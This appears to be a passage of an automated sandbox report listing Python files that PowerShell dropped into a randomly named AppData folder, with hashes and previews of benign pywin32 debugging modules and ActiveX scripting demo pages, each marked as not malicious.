              SHA1:BD14914C9245677A9E2B53EF9D3D0EE0D4A0A441
              SHA-256:92A0F62EA386B80661AB0B457EF1067429CF130626DB70D0ADD269D61E877BBA
              SHA-512:60E504657D8E88E37BE6C094D3D8A5D3A58B6E52CA2D2D92E4DF9BDBDE87E28129920003A150D1099EB9A9A6E3A67DF925E222B793FC70F4F1716AFE65DE1AEB
              Malicious:false
              Reputation:unknown
              Preview:import io.import string.import sys.import traceback.from pprint import pprint..import winerror.from win32com.server.exception import COMException..from . import axdebug, gateways.from .util import RaiseNotImpl, _wrap, _wrap_remove...# Given an object, return a nice string.def MakeNiceString(ob):. stream = io.StringIO(). pprint(ob, stream). return string.strip(stream.getvalue())...class ProvideExpressionContexts(gateways.ProvideExpressionContexts):. pass...class ExpressionContext(gateways.DebugExpressionContext):. def __init__(self, frame):. self.frame = frame.. def ParseLanguageText(self, code, radix, delim, flags):. return _wrap(. Expression(self.frame, code, radix, delim, flags),. axdebug.IID_IDebugExpression,. ).. def GetLanguageInfo(self):. # print "GetLanguageInfo". return "Python", "{DF630910-1C1D-11d0-AE36-8C0F5E000000}"...class Expression(gateways.DebugExpression):. def __init__(self,

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\gateways.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):17368
              Entropy (8bit):4.743302883094311
              Encrypted:false
              SSDEEP:
              MD5:91CE2F0A108FDC282590D9E5B1D57BD5
              SHA1:823217DEBA5D13B6870A84AE234533E58524DD5C
              SHA-256:5C1DFDEDADE48A6B77F9CE91BA18420DBC6EF210B292031AFB0D68C57E3EA3D5
              SHA-512:C3EAEEC8D00D9BA51710166AD29B5F6501025A5F447270592DE304172693792F5D7778BC8A166734EEF6196F29F63AB8E8DC883F1A9F53C6AF40EF6C08A39979
              Malicious:false
              Reputation:unknown
              Preview:# Classes which describe interfaces...import pythoncom.import win32com.server.connect.import winerror.from win32com.axdebug import axdebug.from win32com.axdebug.util import RaiseNotImpl, _wrap.from win32com.server.exception import Exception.from win32com.server.util import ListEnumeratorGateway...class EnumDebugCodeContexts(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugCodeContexts.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugCodeContexts interface for the object... """.. _com_interfaces_ = [axdebug.IID_IEnumDebugCodeContexts]...class EnumDebugStackFrames(ListEnumeratorGateway):. """A class to expose a Python sequence as an EnumDebugStackFrames.. Create an instance of this class passing a sequence (list, tuple, or. any sequence protocol supporting object) and it will automatically. support the EnumDebugStackFr

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\stackframe.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6188
              Entropy (8bit):4.452659775607199
              Encrypted:false
              SSDEEP:
              MD5:BB74968397B6E873401FE99120E757D1
              SHA1:942FBABF30B5BE0804FBB9FEE360DAC47EFC4A4E
              SHA-256:DFE9F868AEA9D9DE6E80C09F5F760CB645DED28DB822C0A59616F7304227BD85
              SHA-512:BF112BD9B9EF808E263773251046ABBC98E6324104FBAA3DE9AB7352254F3B4D86723A334B9ECB64081909B8F66D44907737B3A65BF52345DFF67FB60C72F861
              Malicious:false
              Reputation:unknown
              Preview:"""Support for stack-frames...Provides Implements a nearly complete wrapper for a stack frame.."""..import pythoncom.from win32com.server.exception import COMException..from . import axdebug, expressions, gateways.from .util import RaiseNotImpl, _wrap, trace..# def trace(*args):.# pass...class EnumDebugStackFrames(gateways.EnumDebugStackFrames):. """A class that given a debugger object, can return an enumerator. of DebugStackFrame objects.. """.. def __init__(self, debugger):. infos = []. frame = debugger.currentframe. # print "Stack check". while frame:. # print " Checking frame", frame.f_code.co_filename, frame.f_lineno-1, frame.f_trace,. # Get a DebugCodeContext for the stack frame. If we fail, then it. # is not debuggable, and therefore not worth displaying.. cc = debugger.codeContainerProvider.FromFileName(frame.f_code.co_filename). if cc is not

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axdebug\util.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3880
              Entropy (8bit):4.6127634119609935
              Encrypted:false
              SSDEEP:
              MD5:53D678C9FC15296555985838DF50E690
              SHA1:91D89ED3CC99A6FB4BFBFD6E76DE4E2733439E7A
              SHA-256:DCA8142BC92ABE4AECCEECC9F4574BE4CCC3B0F45AE63BFF1CF564D84321DB64
              SHA-512:0DF8021DB55E39D0867F98A5E7FB26F130FB3BEA3CB280FA80E13EF88DCBFECE383AD62D1F4EC444129DD431601D415D64F69D1801304DAF98A54863899C7BC7
              Malicious:false
              Reputation:unknown
              Preview:# Utility function for wrapping objects. Centralising allows me to turn.# debugging on and off for the entire package in a single spot...import os.import sys..import win32api.import win32com.server.util.import winerror.from win32com.server.exception import Exception..try:. os.environ["DEBUG_AXDEBUG"]. debugging = 1.except KeyError:. debugging = 0...def trace(*args):. if not debugging:. return. print(str(win32api.GetCurrentThreadId()) + ":", end=" "). for arg in args:. print(arg, end=" "). print()...# The AXDebugging implementation assumes that the returned COM pointers are in.# some cases identical. Eg, from a C++ perspective:.# p->GetSomeInterface( &p1 );.# p->GetSomeInterface( &p2 );.# p1==p2.# By default, this is _not_ true for Python..# (Now this is only true for Document objects, and Python.# now does ensure this...all_wrapped = {}...def _wrap_nodebug(object, iid):. return win32com.server.util.wrap(object, iid)...def _wrap_debug(object, iid)

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\CreateObject.asp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):494
              Entropy (8bit):4.950467557412256
              Encrypted:false
              SSDEEP:
              MD5:F2A1816F8A766DA6CA8710F78CD87A01
              SHA1:C64D0487D9938B9C27AFD0A27A32582C904FBBA7
              SHA-256:01BFD732042A9C625240F5497C2EADF37FC39C26F17FE8BDA1510E81A2FF8113
              SHA-512:EC0161C0EAF31885B6A4CE81D20285777B37A45B532F42B8F49FDFF6A1D0D905CE59410E22395BB322745239599C6ECE29623C3FAA7EF3163C69F18D24F12155
              Malicious:false
              Reputation:unknown
              Preview:<HTML>..<SCRIPT Language="Python" RUNAT=Server>..# Just for the sake of the demo, our Python script engine.# will create a Python.Interpreter COM object, and call that...# This is completely useless, as the Python Script Engine is.# completely normal Python, and ASP does not impose retrictions, so.# there is nothing the COM object can do that we can not do natively...o = Server.CreateObject("Python.Interpreter")..Response.Write("Python says 1+1=" + str(o.Eval("1+1")))..</SCRIPT>..</HTML>..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\caps.asp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1315
              Entropy (8bit):5.376773374308319
              Encrypted:false
              SSDEEP:
              MD5:E74AF176267B3EFCD55D9F2C0A7C79A0
              SHA1:3FCFD4109B54E5278A83924535E5A794C3ADAC02
              SHA-256:B0638B401EBACC0288601B8DCD9DFC05492B8130047153E2B3DAAA89A9D584EC
              SHA-512:611767B3242D4B1AAC1B0CBF2DDF230B84FF265A68DA97032ADD88185CFE485417EB35916412416D477F7447DEBDAE1B00B198A226C55669F40A3568CC1DB714
              Malicious:false
              Reputation:unknown
              Preview:<%@ Language=Python %>.<HTML>..<HEAD>..<BODY BACKGROUND="/samples/images/backgrnd.gif">..<TITLE>Python test</TITLE>..</HEAD>..<BODY BGCOLOR="FFFFFF">..<SCRIPT Language="Python" RUNAT=Server>.# NOTE that the <% tags below execute _before_ these tags!.Response.Write("Hello from Python<P>").Response.Write("Browser is "+bc.browser).import win32api # Should be no problem using win32api in ASP pages..Response.Write("<p>Win32 username is "+win32api.GetUserName()).</SCRIPT>..<BODY BGCOLOR="FFFFFF">..<% .import sys.print sys.path.from win32com.axscript.asputil import *.print "Hello".print "There".print "How are you".%>..<%bc = Server.CreateObject("MSWC.BrowserType")%>.<BODY BGCOLOR="FFFFFF">.<table border=1> .<tr><td>Browser</td><td> <%=bc.browser %> .<tr><td>Version</td><td> <%=bc.version %> </td></TR> .<tr><td>Frames</td><td> .<%Response.Write( iif(bc.frames, "TRUE", "FALSE")) %></td></TR> .<tr><td>Tables</td><td> .<%Response.Write( iif (bc.tables, "TRUE", "FALSE")) %></td></TR> .<tr><td>Back

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.asp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):73
              Entropy (8bit):4.6634420662057625
              Encrypted:false
              SSDEEP:
              MD5:026BD95291EF0A682B4CFE39AF58260E
              SHA1:16D41B16A3271F3C47C5B48DF9C23C42F1554468
              SHA-256:8C9847520D55AD42055BBF62213AB1C2AFE0DFA403E0F0AF98C351DD85AA8C2E
              SHA-512:4C927C06C3F48EC93D034BC3D09F38ED34127DC45665AE419ED75A30F0C418526B91702C7AFBB95C4380F7575926350F5454267D043B85270AD74DA2E4E9007B
              Malicious:false
              Reputation:unknown
              Preview:<%@ language=python%>.<html>.<%Response.Redirect("test1.html")%>.</html>.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test.html

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):156
              Entropy (8bit):4.90258935885804
              Encrypted:false
              SSDEEP:
              MD5:4697F4D1A8711448BB1D5BD6CF1231C2
              SHA1:A20D91CC916C86FDBB44EE7668B349A3D83AD4DB
              SHA-256:25F04589490D305CA3239E0B966C96223BA90D4B4FE28C90A99CA36499401F07
              SHA-512:D54624A111A4CA78FEDD61803DE9D431138DE9BC9C638721B9152060A73327CFF7EDF45E111BE519A941E2D3AA0A45C55B2E4CFB73031B664942792B2FDF8442
              Malicious:false
              Reputation:unknown
              Preview:<html>.<head>.<body>.GOT There.<script language=javascript>.location.href ="http://192.168.0.1/Python/interrupt/test.asp".</script>.</body>.</head>.</html>.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test1.asp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):88
              Entropy (8bit):4.6104528177240605
              Encrypted:false
              SSDEEP:
              MD5:D0CB165841523828342DF630383F186B
              SHA1:E665CE9AAD499376F3276ACDA634D3A22C34CAEC
              SHA-256:AB5ED95B776F29DD0400CD828711499CC10C7E6931EA20F8385FC533FD18C9FB
              SHA-512:E4C2F1E61D29B97B79F4C05B51868593DC0333135ED9127D77A53774FA4D3AAFB794A0882089A534C3BC52733AB668AF6B6DD57B5102E8724B72C5A4842712E2
              Malicious:false
              Reputation:unknown
              Preview:<%@ language =Python%>.<html>.<head>.<%Response.Redirect("test.html")%>.</head>.</html>.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\interrupt\test1.html

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):157
              Entropy (8bit):4.983678484412114
              Encrypted:false
              SSDEEP:
              MD5:1B4E08E69BD9F5D8293027471D077F99
              SHA1:26977EFF9335A67752617B5157AE5B5BEC28724D
              SHA-256:2E979B43BE08A3D05A4FD1025535CB1A62FD8C13543DE349A3AB234D79A73F15
              SHA-512:C0CE32ECD4F248FC506F9F76B6C948DDA3EA0CEC522CE5BBC307E548697039AEC1E8B80F473A7404D0DF0D770D038C9465ADD32D73102C1DA8942E5FF6196391
              Malicious:false
              Reputation:unknown
              Preview:<html>.<head>.<body>.GOT HERE.<script language=javascript>.location.href ="http://192.168.0.1/Python/interrupt/test1.asp".</script>.</body>.</head>.</html>..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\asp\tut1.asp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):147
              Entropy (8bit):5.274402840972784
              Encrypted:false
              SSDEEP:
              MD5:8168EBE418724E0C4EEEDB6665A4F6A4
              SHA1:FF31C99DE2936CF84811B14F124F39E8484B2A55
              SHA-256:70FC184DE0D27A737BBC7F80920182423754308A463972746D8402FD323EC13C
              SHA-512:4E9010B0F4EDEF9577463CA3CFDDCCFBC9E41EE980DD77BF06E3D6D4D6164F02046757C73775C924936B153B5F9F83B0E6B20B77D1308DAEED6F2039359A770C
              Malicious:false
              Reputation:unknown
              Preview:<HTML>..<SCRIPT Language="Python" RUNAT=Server>..for i in range(3,8):. Response.Write("<FONT SIZE=%d>Hello World!!<BR>" % i)..</SCRIPT>..</HTML>..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\MarqueeText1.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):703
              Entropy (8bit):5.385246322101013
              Encrypted:false
              SSDEEP:
              MD5:10B0570EAD68CAADAF8D8DCD1068186B
              SHA1:064C8C607A92E3CE9890C5D5321FC1B87D1D2525
              SHA-256:82B95E73D9C392A9A73C11A70BE148A31AB0319C0A1C671A92B5CCAE2144DCDD
              SHA-512:16CB4A706979124E5934722D04FF9646FA61A1D13EDAD9EF350EEEC1EEA57EF5FB82E5C13663D5675E63B74EBE1A698CBD58A368F890E7FAABC0E766341FD643
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<HEAD>.<base target="text">.<TITLE> Internet Workshop </TITLE>.</HEAD>.<BODY leftmargin=8 bgcolor="#FFFFFF" VLINK="#666666" LINK="#FF0000">.<FONT FACE="ARIAL,HELVETICA" SIZE="2">..<P>.<BR>.<P><FONT FACE="ARIAL,HELVETICA" SIZE="5"><B>Python AX Script Engine</B></FONT>.<BR>Demo using the Marquee Control.<BR>Mark Hammond...<P>This is really quite a boring demo, as the Marquee control does everything. However, there is Python code behind the buttons that change the speed. This code is all of 2 lines per button!!!..<P>For more information on Python as an ActiveX scripting language, see..<P><B>Python</B>.<BR><A HREF="http://www.python.org">http://www.python.org</A>..</FONT>.</BODY>.</HTML>..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\calc.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4041
              Entropy (8bit):5.5292605945184325
              Encrypted:false
              SSDEEP:
              MD5:8086A77C0AFEBF5E4ECC92BCEAB7CD6F
              SHA1:73641104167D1C288744D4D5F3181FB96720CEE7
              SHA-256:A14C19EAC6B111B111EED2C921FFBA4C6568333A3709E47CBE7CC0F90775E428
              SHA-512:D7091C5558BC51A83F2CDE73B1EA89C6ABFA7116D9C5F1700284AFC014C584D49365F657E5B4C179E3F9EB99CBD4ACD2C38FA355EAB03220906CDCAFA1B61F27
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<HEAD><TITLE>Python Script sample: Calculator</TITLE></HEAD>.<BODY><FONT FACE=ARIAL SIZE=3> global default -->.<SCRIPT LANGUAGE="Python">.# globals.Accum = 0.0. # Previous number (operand) awaiting operation.FlagNewNum = 1 # Flag to indicate a new number (operand) is being entered.NullOp = lambda x,y: y.PendingOp = NullOp# Pending operation waiting for completion of second operand.numberButNames = ['Zero','One','Two','Three','Four','Five','Six','Seven','Eight','Nine']..def NumPressed(Num):..print "NumPressed", Num..global FlagNewNum..if FlagNewNum:...ax.document.Keypad.ReadOut.Value = Num...FlagNewNum = None..else:...if ax.document.Keypad.ReadOut.Value == "0":....ax.document.Keypad.ReadOut.Value = str(Num)...else:....ax.document.Keypad.ReadOut.Value= ax.document.Keypad.ReadOut.Value + str(Num)..# Dynamically create handlers for all the decimal buttons..# (ie, this will dynamically create "One_OnClick()"... etc handlers.for i in range(len(numberButNames)):..exec "def %s

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\dbgtest.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):190
              Entropy (8bit):5.084425142097858
              Encrypted:false
              SSDEEP:
              MD5:CB7D0FCEE05856D1023835587EC3D021
              SHA1:29D008C65FE21269E6300F6F4758170C3475A391
              SHA-256:0AC968776857FCD744836FF9AA02466F295D2C1440DFF3B02407298F09750546
              SHA-512:056C00EE117139C00FD13637A81EDCE44267DFB4770FDA08351664A94B07CF583E85800F72E27105D5DDB4E2399D63DD54D81FF0099514DFBDE76A9149CA7862
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<BODY>..<SCRIPT>.b="Hello There, how are you".</SCRIPT>..<SCRIPT LANGUAGE="Python">.print "Hello".a="Hi there".document.write("Hello<P>").alert("Hi there").</SCRIPT>..</BODY>.</HTML>.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):445
              Entropy (8bit):5.509743771821659
              Encrypted:false
              SSDEEP:
              MD5:B9E46B1FEE8B67411F50F07C8B78104E
              SHA1:C2C851C147ED73C23072370405EC0074BD3F9829
              SHA-256:BFA80CCF9B8EF62DCE3285953AC2B86157B7B909EE133D282D4047C7C401DB43
              SHA-512:931983E8D6B59A479E1EA62F074D5F366800F2C186832997E992DD4554769DFC27125F9CD163889FDC5E4F867D591FDD430681254F3A1BC4721A58476086FA20
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<HEAD>.<TITLE>Python AXScript Demos</TITLE>.</HEAD>...<SCRIPT LANGUAGE="Python">.def Window_OnLoad():..pass.#.import win32traceutil.#.print "Frames are", ax.window.frames._print_details_().#.print "Frame 0 href = ", ax.frames.Item(0).location.href..def Name_OnLoad():..print "Frame loading"..</SCRIPT>..<FRAMESET FRAMEBORDER=1 COLS = "250, *">..<FRAME SRC="demo_menu.htm">..<FRAME SRC="demo_check.htm" NAME="Body">.</FRAMESET>...</HTML>..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_check.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1503
              Entropy (8bit):5.03331718520064
              Encrypted:false
              SSDEEP:
              MD5:513B66C5350A228017229D30E8BA68DB
              SHA1:1DE44BE614ED286F6BAB3C67076DB2A006078EB6
              SHA-256:DCC1ABE787B23B894DDA8FBCACB12E2921AE22CD807D9BD5F9F75BAC55FA762E
              SHA-512:54A9E39F63DBF8F7B4D7A50A4AF8ED467AD0AF8BDBB9ECE7B3432CB9CD6D480D24E00BC78B4E0192A2BD34B80348BF872D4D212A1F3461A336453B690F099B52
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<H1>Engine Registration</H1>..<BODY>..<p>The Python ActiveX Scripting Engine is not currently registered.<p>..<p>Due to a <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> discovered in the engine, the use of Python inside IE has been disabled.</p>..Before any of the supplied demos will work, the engine must be successfully registered...<P>To install a version of the engine, that does work with IE, you can execute the Python program .<CODE>win32com\axscript\client\pyscript_rexec.py</CODE> must be run. You can either do this manually, or follow the instructions below.</p>..<H2>Register the engine now!</H2>..<p>If you have read about the <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> and still wish to register the engine, just follow the process outlined below:</p>.<OL>. <LI>Click on the link below. <LI><B>A dialog will be presented asking if the file should be opened or saved to di

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_intro.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):1575
              Entropy (8bit):5.080918972088431
              Encrypted:false
              SSDEEP:
              MD5:DE941719772F8E078AF33D853683E729
              SHA1:09510CB85BA1D7E5FB3F8A30C74F97D48C3C3BAE
              SHA-256:3957B5998D0DE4E1EEBDADAB0332E76F0F22BC2424BA054C254D31A77F4ABEE2
              SHA-512:62BBA0B85EDDE11856720D9858CCF964DC8B0D8F436CB8D4B2B634E952A6912807BCCDFFEEEAC8BD3ED695637B0F49581BB269D60BB7CB63651053A57549CD01
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<BODY>..<H1>. <MARQUEE NAME="Marquee1" DIRECTION=LEFT BEHAVIOR=SCROLL SCROLLAMOUNT=10 SCROLLDELAY=200. >Python ActiveX Scripting Demonstation. </MARQUEE> .</H1>..<p>Congratulations on installing the Python ActiveX Scripting Engine</p>..<p>Be warned that there is a <a href="http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html">privacy.concern</a> with this engine. Please read this information, including how to disable the feature.</p>...<H3>Object model</H3>.<P>Except as described below, the object module exposed should be similar to that exposed.by Visual Basic, etc. Due to the nature of ActiveX Scripting, the details for each.host are different, but Python should work "correctly"...<P>The object model exposed via Python for MSIE is not as seamless as VB. The biggest limitation is .the concept of a "local" namespace. For example, in VB, you can.code <code>text="Hi there"</code>, but in Python, you must code .<code>MyForm.ThisButton.Text="Hi There"</code>. S

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\demo_menu.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:HTML document, ASCII text
              Category:dropped
              Size (bytes):499
              Entropy (8bit):5.113549327216309
              Encrypted:false
              SSDEEP:
              MD5:5CDB9F7FF68C05ACA2038D2E1DE09CBF
              SHA1:920E8063ECC6823588137E5B648440A49561A0D0
              SHA-256:04BB1E0354C1C50A8447981D3177D344A38EDEC4CF4887B22436313A51C3FE5B
              SHA-512:B38BDC4CBC1ABC0D1568780CCA90A1E115F08F12F9A235738AAEEFD5E0BB2F6A618A9C586EDBE3717B5F2012505173CBF9E77AA76499B7C75525A2D6AF7EFB57
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<BODY>.<H1>Scripting Demos</H1>.<P>An <A HREF="demo_check.htm" TARGET=Body>Introduction</A> to the .scripting engine...<P>The <A HREF="calc.htm" TARGET=Body>Calculator Demo</A> is a very .cool sample written by Aaron Watters...<P><A HREF="mouseTrack.htm" TARGET=Body>Mouse track</A> is another of .Aaron's samples, and shows how fast the Python engine is!..<P>The <A HREF="foo2.htm" TARGET=Body>foo2 sample</A> is mainly used .for debugging and testing, but does show some forms in action....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\docwrite.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):467
              Entropy (8bit):5.314931409533073
              Encrypted:false
              SSDEEP:
              MD5:146060D48B70277B1365B7301EC1C890
              SHA1:3941BC9CDA81CC0C3EDDFD51736B5A33B49AB463
              SHA-256:3B1324A950E5AA92BA91E99F8C8A0F32EF0244516F415E7E97469CE4218B4292
              SHA-512:1ED64D9CE9CB618BBCE48C2B363DF9731A1DEA11FED6E3503183E01C2DEE1F0E4F065C74CC3CFD536CF6F52C934A0A04C5AC7B2597CF22EFA66AE3D946ACEE1C
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<BODY>.A page generated by Python..<SCRIPT LANGUAGE="XXXVBScript">.document.open().document.writeLn "<P>Hello from VBScript".document.close().</SCRIPT>..<SCRIPT LANGUAGE="Python">.ax.document.write("<P>Hello from Python").ax.document.close().ax.document.open().ax.document.write("<P>Hello again from Python").ax.document.close()..def Window_OnLoad():..pass.#.ax.document.write("<P>Hello from Load from Python").#.ax.document.close().</SCRIPT>..</BODY>.</HTML>.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\foo2.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3486
              Entropy (8bit):5.461870317678001
              Encrypted:false
              SSDEEP:
              MD5:CD71C263A8F1DEB2839CDB2106E39C36
              SHA1:9E856175A44D70994846A715A0D8CDCFD2B60151
              SHA-256:6792AA2EE8E68E152703F2215962648A297DF34713A0431D6B278C7DA669A928
              SHA-512:66C8FD17EB25127E58BBF4491DC8A602522D0ACC342EE7BE12202E972458A9EF0BEA822D98481578649D44FE191F2EF9CC4151117C2CA140AEF21EE7871339CB
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<BODY>..<SCRIPT>.b="Hello".</SCRIPT>..<SCRIPT LANGUAGE="Python">.import win32traceutil.import sys.print "Hello".a="Hi there".print "Location is", document.location.document.write("Hello", " from version ", 2, " of the Python AXScript Engine","<P>").document.writeln("This is Python", sys.version)..</SCRIPT>..<P>The caption on the first button is set by the Window Load code. Clicking.that button changes the text in the first edit box...<P>The second button changes its own text when clicked...<P>The fourth button calls a global function, defined in the global 'script' scope,.rather than the 'MyForm' scope...<FORM NAME="MyForm" METHOD="GET">. <SCRIPT LANGUAGE="Python">.print "Hello from in the form". </SCRIPT>. <INPUT NAME="Button1" TYPE="Button" OnClick="MyForm.Text1.value='Hi'" LANGUAGE="Python">. <INPUT TYPE="TEXT" SIZE=25 NAME="Text1">. <INPUT NAME="Button2" TYPE="Button" VALUE="Click for 'Hi'" OnClick="a='Howdy'; MyForm.Button2.value='Hi'" LANGUAGE="Python">. <INPU

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\form.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):481
              Entropy (8bit):5.325207019972113
              Encrypted:false
              SSDEEP:
              MD5:C497ED8638CC649FC1069C01C1B05229
              SHA1:A0D3A07BDD5C4D84C076BF260280A8AC0090C447
              SHA-256:78D2A2F62ACF7F5220E6A049819955B1FF86B0E4D7448DC984D04DE466465AC6
              SHA-512:11438573C3ABA0715699DB997A16842454FDD1EBF85C9C93DE47B9EAE0BD5151346D30916C5AE220E3E4A98C19FE78A2B11DA38434520D4D16FBC83EF18996F0
              Malicious:false
              Reputation:unknown
              Preview:<HTML>.<BODY>..<FORM NAME="TestForm" METHOD="POST" >. <INPUT TYPE="TEXT" SIZE=25 NAME="Name">Name<br>. <INPUT TYPE="TEXT" SIZE=25 NAME="Address">Address<br>. <INPUT TYPE=SUBMIT.</FORM>..<SCRIPT LANGUAGE="Python" for="TestForm" Event="onSubmit">.return Validate().</SCRIPT>..<SCRIPT LANGUAGE="Python">..def Validate():..if not TestForm.Name.Value or not TestForm.Address.Value:...ax.alert("You must enter a name and address.")...return 1..return 0..</SCRIPT>..</BODY>.</HTML>.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\Demos\client\ie\marqueeDemo.htm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1167
              Entropy (8bit):5.665134723888381
              Encrypted:false
              SSDEEP:
              MD5:AD106320D0C0559B8209C808878D7F2D
              SHA1:1E04B3A9CEC5AFF19AACFA26784A6761393E7025
              SHA-256:4341D3983EF74E03EB27443CADC0A40B143ABE59ED4E81DD2A02BE75C1E6EFCC
              SHA-512:BCCC294D0486C27EEE885E6F1D75905F9862BC546BAC73FF0215A22AB8097E591967500DB03A5C2373C45A52E5CCCAF2331E38ECD3180F79A7B230521FB9A08D
              Malicious:false
              Reputation:unknown
